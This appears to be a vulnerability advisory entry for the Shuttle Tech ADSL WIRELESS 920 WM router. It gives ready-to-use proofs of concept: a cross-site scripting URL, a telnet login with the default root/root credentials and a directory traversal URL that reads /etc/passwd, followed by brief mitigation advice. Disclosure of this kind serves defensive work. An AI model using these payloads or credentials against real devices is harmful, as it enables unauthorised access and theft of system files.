vendor:
ADSL WIRELESS 920 WM
by:
Persian Hack Team
7,5
CVSS
HIGH
Cross Site Scripting, Default Telnet Root Password, Directory Traversal
79, 522, 22
CWE
Product Name: ADSL WIRELESS 920 WM
Affected Version From: Gan9.8U6X-B-TW-R1B020_1T1RP
Affected Version To: Gan9.8U6X-B-TW-R1B020_1T1RP
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2016
Shuttle Tech ADSL WIRELESS 920 WM – Multiple Vulnerabilities
Cross Site Scripting: First We Need To login To Panel And page Parameter Vulnerable to Cross Site Scripting http://192.168.1.1/cgi-bin/webproc?getpage=html/index.html&var:menu=setup&var:page=%3Cscript%3Ealert%28%22c_C%22%29%3C/script%3E. Default Telnet Root Password: Username:root Password:root telnet 192.168.1.1 (none) login: root Password:root ~ $ cat /proc/version Linux version 2.6.19 (dsl@crlinux) (gcc version 3.4.6-1.3.6) #3 Fri May 18 13:09:57 CST 2012. Directory Traversal: First We Need To login To Panel And getpage Parameter Vulnerable to Local File Disclosure http://192.168.1.1/cgi-bin/webproc?getpage=../../../../etc/passwd&var:menu=setup&var:page=wireless
Mitigation:
Ensure that all user input is properly sanitized and validated. Change the default telnet root password. Restrict access to the web server.
